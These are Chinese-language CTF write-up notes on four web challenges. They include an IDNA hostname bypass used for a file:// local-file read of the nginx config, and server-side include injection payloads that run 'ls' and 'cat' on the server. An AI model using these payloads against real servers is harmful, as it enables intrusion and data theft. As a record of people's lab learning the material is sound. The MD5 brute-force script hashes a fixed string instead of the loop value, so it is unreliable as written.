[ASIS 2019]Unicorn shop
进去是一个购买商品的地方,然后输入编号1到3的时候,都是
而输入编号4的时候,它只允许一个字符
然后它题目标签考的是unicode,只能由一个字符,那就是把unicode里面能用一个字符表示超过1337的数字搞进去
然后把超过的复制一个就行
[SUCTF 2019]Pythonginx
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url") #获取url的值
host = parse.urlparse(url).hostname #从url中提取域名
if host == 'suctf.cc': #域名不能为suctf.cc
return "我扌 your problem? 111"
parts = list(urlsplit(url)) #urlsplit用于分析网页url的结构,从而快速提取网页中的各个参数,如协议、域名、路径、查询字段等
host = parts[1] #这个表里的第二个是域名
if host == 'suctf.cc': #同样域名不能为suctf.cc
return "我扌 your problem? 222 " + host
newhost = [] #创建一个列表
for h in host.split('.'): #spilt以 . 为界对host进行分割
newhost.append(h.encode('idna').decode('utf-8')) #把host分割的先进行idna编码,在进行utf-8解码,然后追加到newhost里
parts[1] = '.'.join(newhost) #把newhost表里面的以 . 连接,然后赋给parts[1]
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read() #请求finalUrl并且读取内容
else:
return "我扌 your problem? 333"
大概就是由三个if,前面两个不能就去,但是要就去第三个if,而第二个和第三个直接有一个idna的编码和utf-8的解码,应该就是从这里来把finalUrl的域名变成suctf.cc
然后就跑一下,那个能替换suctf.cc里面的
把含 - 的去掉是因为这样的不符合要求
for i in range(128,65537):
try:
a=chr(i)
b=a.encode('idna').decode('utf-8')
if '-' in b:
continue
print("u:{} a:{} ascii:{}".format(a,b,i))
except:
pass
然后是要查看什么文件来找到flag文件的信息,提示nginx
配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf
一个一个试发现file://suctf.cⒸ/usr/local/nginx/conf/nginx.conf可以
flag{ca339ba6-8078-4353-8a99-8da8f556f24a}
[BJDCTF2020]EasySearch
进来是一个登录页面,试了sql没有试出来,那就用御剑扫一下,没有扫出来,看wp发现是index.php.swp,字典里没有,加上去
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times //mt_rand() 函数使用 Mersenne Twister 算法生成随机整数。
$content = uniqid().$random; //uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID。
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) { //如果password为6d0bc1就就去
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
?>
上面的要post的password参数值的md5为6d0bc1才可以进去,然后会生成一个.shtml,这个有一个ssi注入,现在先把md5前6个为6d0bc1的值跑出来
import hashlib
for i in range(1000000000):
a = hashlib.md5(str('i').encode('utf-8')).hexdigest()
if a[0:6] == '6d0bc1':
print(i)
print(a)
进去之后没有东西,抓包看看
生成一个.shtml的文件,访问一下
这个看wp,说是ssi注入
这里有两个地方与用户交互,hello 123和client ip,试一试
在上一级目录找到flag文件
<!--#exec cmd="ls ../"-->
<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->
这题学到了ssi注入,以及通过md5值找到原值
[BSidesCF 2019]Kookie
说要用admin账户登录,然后题目又是kookie-cookie,应该是要在cookie里加admin的用户名
这个题要结合题目以及页面中的提示来做